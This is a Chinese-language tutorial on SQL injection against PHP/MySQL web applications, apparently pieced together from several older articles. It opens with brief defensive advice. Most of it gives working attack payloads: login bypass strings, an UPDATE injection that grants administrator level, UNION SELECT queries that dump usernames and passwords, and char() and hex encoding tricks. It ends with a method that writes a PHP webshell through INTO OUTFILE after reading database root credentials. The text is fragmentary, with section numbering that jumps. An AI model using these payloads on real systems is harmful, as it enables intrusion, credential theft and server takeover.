$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")
<?php
session_destroy(); // Kill any data currently in the session
$session_auth = "shaun";
session_register("session_auth"); // Register $session_auth as a session variable
?>;
Shaun Clowes的文章Exploiting Common Vulnerabilities in PHP Applications的确写的很棒,
考虑到了很多方面,我这个文章只是狗尾续貂,补充一些其它没怎么提到的问题。本文侧重于解决问题,而不是
攻击。
1、古老的欺骗SQL语句
在默认模式下,即使是你忘了把php.ini拷到/usr/local/lib/php.ini下,php还是打开magic_quotes_gpc=on。
这样所有从GET/POST/Cookie来的变量的单引号(')、双引号(")、反斜杠backslash(\)以及空字元NUL
(the null byte)都会被加上反斜杠,以使数据库能够正确查询。
但是在php-4-RC2的时候引入了一个配置文件php.ini-optimized,这个优化的php.ini却是
magic_quotes_gpc=off的。某些网管看到optimized字样也许就会把php.ini-optimized拷到
/usr/local/lib/php.ini,这时就比较危险。象比较简单的验证,假设没有过滤必要的字符:
select * from login where user='$HTTP_POST_VARS[user]' and pass='$HTTP_POST_VARS[pass]'
我们就可以在用户框和密码框输入1‘ or 1='1通过验证了。这是非常古董的方法了,这个语句会
替换成这样:
select * from login where user='1' or 1='1' and pass='1' or 1='1'
因为or 1='1'成立,所以通过了。
解决的办法最好就是过滤所有不必要的字符,还有就是推荐对于从GET/POST/Cookie来的并且用在SQL
中的变量加一个自定义的函数:
function gpc2sql($str) {
if(get_magic_quotes_gpc()==1)
return $str;
else
return addslashes($str);
}
主要是为了你的程序能安全移植在各种系统里。
参考文献
1、PHP 4 ChangeLog (http://www.php.net/ChangeLog-4.php)
2、A Study In Scarlet - Exploiting Common Vulnerabilities in PHP Applications
(http://www.securereality.com.au/studyinscarlet.txt)及analysist的翻译。
3、Remote command execution vulnerabilities in phpMyAdmin and phpPgAdmin
(http://www.securereality.com.au/sradv00008.txt)
我们如何注入哩?
哈哈,和asp里很相似
在表单里提交
Aabb%’ or 1=1 order by id#
注:#在mysql中表示注释的意思,即让后面的sql语句不执行,后面将讲到。
或许有人会问为什么要用or 1=1呢,看下面,
把提交的内容带入到sql语句中成为
SELECT * FROM users WHERE username LIKE ‘%aabb%’ or 1=1 order by id# ORDER BY username
假如没有含有aabb的用户名,那么or 1=1使返回值仍为真,使能返回所有值
我们还可以这样
在表单里提交
%’ order by id#
或者
’ order by id#
带入sql语句中成了
SELECT * FROM users WHERE username LIKE ‘% %’ order by id# ORDER BY username
和
SELECT * FROM users WHERE username LIKE ‘%%’ order by id# ORDER BY username
当然了,内容全部返回。
列出所有用户了哟,没准连密码都出来哩。
这里就举个例子先,下面会有更精妙的select语句出现,select实际上几乎是无处不在的哦!
2)下面看update咯
Mysql中文手册里这么解释的:
UPDATE [LOW_PRIORITY] tbl_name SET col_name1=expr1,col_name2=expr2,...
[WHERE where_definition]
UPDATE用新值更新现存表中行的列,SET子句指出哪个列要修改和他们应该被给定的值,WHERE子句,如果给出,指定哪个行应该被更新,否则所有行被更新。
详细内容去看mysql中文手册7.17节啦,在这里详细介绍的话会很罗嗦的哦。
由上可知update主要用于数据的更新,例如文章的修改,用户资料的修改,我们似乎更关心后者,因为......
看代码先哦
我们先给出表的结构,这样大家看的明白
CREATE TABLE users (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
其中userlevel表示等级,1为管理员,2为普通用户
<?php
//change.php
……
$sql = "UPDATE users SET password='$pass', email='$email' WHERE id='$id'"
……
?>;
Ok,我们开始注入了哦,在添email的地方我们添入
[email protected]’,userlevel=’1
sql语句执行的就是
UPDATE users SET password='youpass',
email='[email protected]’,userlevel=’1’ WHERE id='youid’
看看我们的userlevel就是1了,变成管理员了哟
哈哈,如此之爽,简直是居家旅行必备啊。
这里我们简单提一下单引号闭合的问题,如果只用了一个单引号而没有单引号与之组成一对,系统会返回错误。列类型主要分为数字类型,日期和时间类
型,字符串类型,然而引号一般用在字符串类型里,而在数字类型里一般人都不会用到引号(然而却是可以用的,而且威力很大),日期和时间类型就很少用于注入
了(因为很少有提交时间变量的)。在下面我们会详细将这几种类型的注入方式哦!
CREATE TABLE alphaauthor (
Id tinyint(4) NOT NULL auto_increment,
UserName varchar(50) NOT NULL default '',
PASSWORD varchar(50) default NULL,
Name varchar(50) default NULL,
PRIMARY KEY (Id),
UNIQUE KEY Id (Id),
KEY Id_2 (Id)
)
<?php
//Login.php
……
$query="select * from alphaauthor where UserName='$username' and Password='$passwd'";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
Echo “重要信息”;
}
Else
Echo “登陆失败”;
……
?>;
我们在浏览器地址框直接输入
http://***/login.php?username=a’or id=1 %23
%23转换成#了
放到sql语句中
select * from alphaauthor where UserName='a’or id=1 #' and Password='$passwd'
#号后面的都拜输入了,看看
这句话等价于
select * from alphaauthor where UserName='a’or id=1
4. 下面进入最重要的部分了,没睡觉的打起精神来,睡着了的醒一醒啦。
1)select union select
还是php中文手册中讲的:
SELECT ... UNION [ALL] SELECT ... [UNION SELECT ...]
UNION 在 MySQL 4.0.0 中被实现。
UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。
需要注意的是union前后的select字段数相同,只有这样union函数才能发挥作用。如果字段数不等将返回
ERROR 1222 (21000): The used SELECT statements have a different number of columns 错误
晕咯,这样不好吧。咋半哩?
别急哈,急也没用的
例如:
已知alphadb表有11列
我们
mysql>; select * from alphadb where id=351 union select 1,2,3,4,5,6,7,8,9,10 from alphaauthor;
如图(2)
我们只slect了10个数当然出错啦。
下面看
mysql>; select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
如图(3)
我们看看id=247中的数据先
mysql>; select * from alphadb where id=347;
+-----+--------------------------------------------+-----------------
| id | title | content | importtime | author | accessing | addInto | type | showup | change_ubb | change_html |
+-----+--------------------------------------------+-----------------
| 347 | 利用adsutil.vbs+..--发表于黑客档案2004.6期 | 发表于黑客x档案第6期 | 2004
-03-28 11:50:50 | Alpha | 17 | Alpha | 2 | 1 | 1 | 1 |
+-----+--------------------------------------------+-----------------
1 row in set (0.00 sec)
我们看到,它的返回结果和
mysql>; select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
是相同的。
哦,大家或许会问,这样有什么用呢?
问的好。
Ok,继续试验
当我们输入一个不存在的id的时候
例如id=0,或者id=347 and 1<>;1
再看看
mysql>; select * from alphadb where id=347 and 1<>;1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
如图(4)
例如:
<?php
//display.php
……
$query="select * from alphadb where id=’”.$id.”’";
…………..
?>;
这样id就变成字符型的了。
不知道大家发现没有,假如我们这样写程序的话,安全性会有所提高的哦
呵呵,继续了
好我们检验是否有注入先
http://localhost/site/display.php?id=451' and 1=1 and ‘’=’
http://localhost/site/display.php?id=451' and 1=2 and ‘’=’
带入到sql语句里就是
select * from alphadb where id=’451’and 1=1 and ‘’=’’
select * from alphadb where id=’451’and 1=2 and ‘’=’’
如果你发现页面信息不同的话说明漏洞存在哦
或者
http://localhost/site/display.php?id=451' and 1=1 %23
http://localhost/site/display.php?id=451' and 1=2 %23
%23转化以后就是#,即注释的意思,上面说过了哦
这样的话就不用考虑那个引号的闭合问题了,实际很多时候我们推荐这种方法。
把它带入到sql语句里就成了
select * from alphadb where id=’451’and 1=1 #’
正是我们想要的哦!
看看效果吧,
http://localhost/site/display.php?id=451' and 1=1 %23
图(14)
正常显示了呓!
http://localhost/site/display.php?id=451' and 1=2 %23
图(15)
Ok,用户名和密码又出来了哦!
3. 大家一起来看看搜索型注入吧
搜索型的语句一般这样写
<?php
//search.php
……
$query="select * from alphadb where title like '%$title%';
…………..
?>;
不知道大家还是否记得asp里的注入呢?
不过不记得也没有关系的啦,我们看吧。
我们构建注入语句吧
在输入框输入
a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor#放到sql语句中成了
select * from alphadb where title like '%a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %'
结果如图17哦
怎么样,出来了吧,哈哈,一切尽在掌握之中。
C:下面我们从注入地点上在来看一下各种注入攻击方式
1) 首先来看看后台登陆哦
代码先
<?php
//login.php
…….
$query="select * from alphaauthor where UserName='"
.$HTTP_POST_VARS["UserName"]."' and
Password='". $HTTP_POST_VARS["Password"]."'";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo “后台登陆成功”;
}
esle
{
echo “重新登陆”;
exit;
}
………
?>;
Username和password没有经过任何处理直接放到sql中执行了。
看看我们怎么绕过呢?
最经典的还是那个:
在用户名和密码框里都输入
‘or’’=’
带入sql语句中成了
select * from alphaauthor where UserName=’’or’’=’’ and Password=’’or’’=’’
这样带入得到的$data肯定为真,也就是我们成功登陆了。
还有其他的绕过方法,原理是一样的,就是想办法让$data返回是真就可以了。
我们可以用下面的这些中方法哦
1.
用户名和密码都输入’or’a’=’a
Sql成了
select * from alphaauthor where UserName=’’or’a’=’a’ and Password=’’or’a’=’a’
2.
用户名和密码都输入’or 1=1 and ‘’=’
Sql成了
select * from alphaauthor where UserName=’ ’or 1=1 and ‘’=’’ and Password=’ ’or 1=1 and ‘’=’’
用户名和密码都输入’or 2>;1 and ‘’=’
Sql成了
select * from alphaauthor where UserName=’ ’or 2>;1 and ‘’=’’ and Password=’ ’or 2>;1 and ‘’=’’
3.
用户名输入’or 1=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName=’ ’or 1=1 # and Password=’anything’
后面部分被注释掉了,当然返回还是真哦。
4.
假设admin的id=1的话你也可以
用户名输入’or id=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName=’ ’or id=1 # and Password=’anything’
如图18
select * from alphaAuthor where UserName=char(97,108,112,104,97)# and Password=''
如图21
正如我们期望的那样,他顺利执行了,我们得到我们想要的。
当然咯,我们也可以这样构造
http://localhost/site/admin/login.php?username=0x616C706861%23
sql语句变成:
select * from alphaAuthor where UserName=0x616C706861%23# and Password=''
我们再一次是成功者了。很有成就感吧,
我们构建
http://localhost/display.php?type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
带入sql语句中为:
select * from ".$art_system_db_table['article']."
where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
看看,我们的用户名和密码照样出来了哦!没有截图,想像一下咯:P
哈哈,看看标记的地方,晕死,原来在这里啊,可是为什么哩?
原来html中< >;用于标注,哈哈,明白了吧!下次可得记得在哪里找哦。
4. md5的恶梦
山东大学的王博士最近可是搞md5搞的红透了,我们也来搞一搞吧,我们比他更爽,不用计算,哈哈。
md5我们是有办法绕过的,但是并不是哪里都可以,php中的md5函数就不能绕过,因为你输入的所有东西都在里面,根本跑不出。可以绕过的是sql语句中的md5。当然别的sql中的函数也是可以绕过的,道理相同哦。
看例子先:
<?php
//login.php
……
$query="select * from alphaauthor where UserName=md5($username) and Password='".$Pw."'";
……
?>;
我们直接在浏览器提交
http://localhost/admin/login.php?username=char(97,98)) or 1=1 %23
带入sql语句成为select * from alphaauthor where UserName=md5(char(97,98)) or 1=1 #) and Password='".$Pw."'
记得md5里面放的是字符,因为后面有or 1=2,所以我们随便放了个char(97,98). Ok,登陆成功了哦!看看,md5在我们面前也没有什么用处。
5. 核心技术,利用php+mysql注入漏洞直接写入webshell。。
直接利用注入得到webshell,这应该是大家都很想的吧,下面就教给你。
这里假设你已经知道了网站所在的物理路径,我这里假设网站路径为c:/apache/htdocs/site。网站的mysql连接信息放在/lib/sql.inc.php里
1)适用于magic_quotes_gpc=Off
假设我们可以上传图片,或者txt,zip,等其它东西,我们把我们的木马改成
jpg后缀的,上传后路径为/upload/2004091201.jpg
2004091201.jpg中的内容为 <?php system($cmd); ?>;
好,我们开始http://localhost/site/display.php?id=451%20and%201=2%20
%20union%20select%201,2,load_file('C:/apache/htdocs/site/upload/2004091201.jpg'),4,5,6,7,8,9,10,11%20into%20outfile'C:/apache/htdocs/site/shell.php'
因为适用了outfile,所以网页显示不正常,但是我们的任务是完成了。
如图28
我们赶快去看看http://localhost/site/shell.php?cmd=dir
如图29
爽否?Webshell我们已经创建成功了。看到最前面的12了没?那就是我们select 1,2所输出的!
2)下面再讲一个适用于magic_quotes_gpc=On的时候保存webshell的方法哦,显然肯定也能用在于magic_quotes_gpc=Off的时候啦。
我们直接读他的配置文件,用技巧2介绍的方法
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11
得到sql.inc.php内容为
<?$connect=@mysql_connect("localhost","root","") or die("Unable to connect to SQL server");mysql_select_db("alpha",$connect) or die("Unable to select database");?>;
好了我们知道了mysql的root密码了,我们找到phpmyadmin的后台
http://localhost/phpmyadmin/
用root密码为空登陆。
如图30
然后我们新建立一个表结构内容如下:
#
# 数据表的结构 `te`
#
CREATE TABLE te (
cmd text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
#
# 导出下面的数据库内容 `te`
#
INSERT INTO te VALUES ('<?php system($cmd); ?>;');
Ok,是我们用select * from table into outfile’’的时候了
直接在phpmyadmin的sql输入
SELECT * FROM `te` into outfile 'C:/apache/htdocs/site/cmd1.php';
如图31